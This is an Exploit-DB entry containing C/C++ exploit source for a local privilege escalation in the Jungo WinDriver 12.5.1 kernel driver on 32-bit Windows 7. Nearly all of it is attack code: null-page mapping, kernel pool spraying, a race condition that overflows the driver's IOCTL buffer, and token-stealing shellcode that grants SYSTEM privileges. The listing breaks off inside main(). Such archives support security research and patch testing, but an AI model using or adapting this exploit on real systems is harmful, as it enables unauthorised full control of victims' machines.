Exploit-DB #43494
Description: Jungo Windriver 12.5.1 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2018-01-10
Author: Fidus InfoSecurity

Exploit:
// ConsoleApplication1.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <winioctl.h>

#define device L"\\\\.\\WINDRVR1251"
#define SPRAY_SIZE 30000

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID
/*
* The caller expects to call a cdecl function with 4 (0x10 bytes) arguments.
*/
__declspec(naked) VOID TokenStealingShellcode() {
    __asm {
       hasRun:
             xor eax, eax; Set zero
             cmp byte ptr [eax], 1; If this is 1, we have already run this code
             jz End;
             mov byte ptr [eax], 1; Indicate that this code has been hit already

            ; initialize
            mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

            mov ecx, eax; Copy current _EPROCESS structure

            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

            ; begin system token search loop
            SearchSystemPID :
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process

            End :
        ret 0x10; cleanup for cdecl

    }
}

BOOL map_null_page()
{
    /* Begin NULL page map */
    HMODULE hmodule = LoadLibraryA("ntdll.dll");
    if (hmodule == INVALID_HANDLE_VALUE)
    {
        printf("[x] Couldn't get handle to ntdll.dll\n");
        return FALSE;
    }
    PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
    if (AllocateVirtualMemory == NULL)
    {
        printf("[x] Couldn't get address of NtAllocateVirtualMemory\n");
        return FALSE;
    }

    SIZE_T size = 0x1000;
    PVOID address = (PVOID)0x1;
    NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(),
        &address,
        0,
        &size,
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE);

    if (allocStatus != 0)
    {
        printf("[x] Error mapping null page\n");
        return FALSE;
    }
    
    printf("[+] Mapped null page\n");
    return TRUE;
}

/*
* Continually flip the size
* @Param user_size - a pointer to the user defined size
*/
DWORD WINAPI flip_thread(LPVOID user_size)
{
    printf("[+] Flipping thread started\n");
    while (TRUE)
    {
        *(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow.
    }
    return 0;
}

DWORD WINAPI ioctl_thread(LPVOID user_buff)
{
    char out_buff[40];
    DWORD bytes_returned;
    
    HANDLE hdevice = CreateFile(device,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        0
    );

    
    if (hdevice == INVALID_HANDLE_VALUE)
    {
        printf("[x] Couldn't open device\n");
    }

    NTSTATUS ret = DeviceIoControl(hdevice,
        0x95382623,
        user_buff,
        0x1000,
        out_buff,
        40,
        &bytes_returned,
        0);
    
    CloseHandle(hdevice);
    return 0;
}

void spray_pool(HANDLE handle_arr[])
{
    //create SPRAY_SIZE event objects filling up the pool
    for (int i = 0; i < SPRAY_SIZE; i++)
    {
        handle_arr[i] = CreateEvent(NULL, 0, NULL, L"");
    }

    for (int i = 0; i < SPRAY_SIZE; i+=50)
    {
        for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++)
        {
            CloseHandle(handle_arr[j + i]);
            handle_arr[j + i] = 0;
        }
    }
}

void free_events(HANDLE handle_arr[])
{
    for (int i = 0; i < SPRAY_SIZE; i++)
    {
        if (handle_arr[i] != 0)
        {
            CloseHandle(handle_arr[i]);
        }
    }
}

BOOL check_priv_count(DWORD old_count, PDWORD updated_count)
{
    HANDLE htoken;
    DWORD length;
    DWORD temp;
    DWORD new_count;
    PTOKEN_PRIVILEGES current_priv = NULL;

    if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken))
    {
        printf("[x] Couldn't get current token\n");
        return FALSE;
    }

    //get the size required for the current_priv allocation
    GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);

    //allocate memory for the structure
    current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);

    //get the actual token info
    GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length);
    new_count = current_priv->PrivilegeCount;

    HeapFree(GetProcessHeap(), 0, current_priv);
    CloseHandle(htoken);

    temp = old_count;       //store the old count
    *updated_count = new_count; //update the count 
    if (new_count > old_count)
    {
        printf("[+] We now have %d privileges\n", new_count);
        return TRUE;
    }
    else
        return FALSE;
}

int main()
{
    HANDLE h_flip_th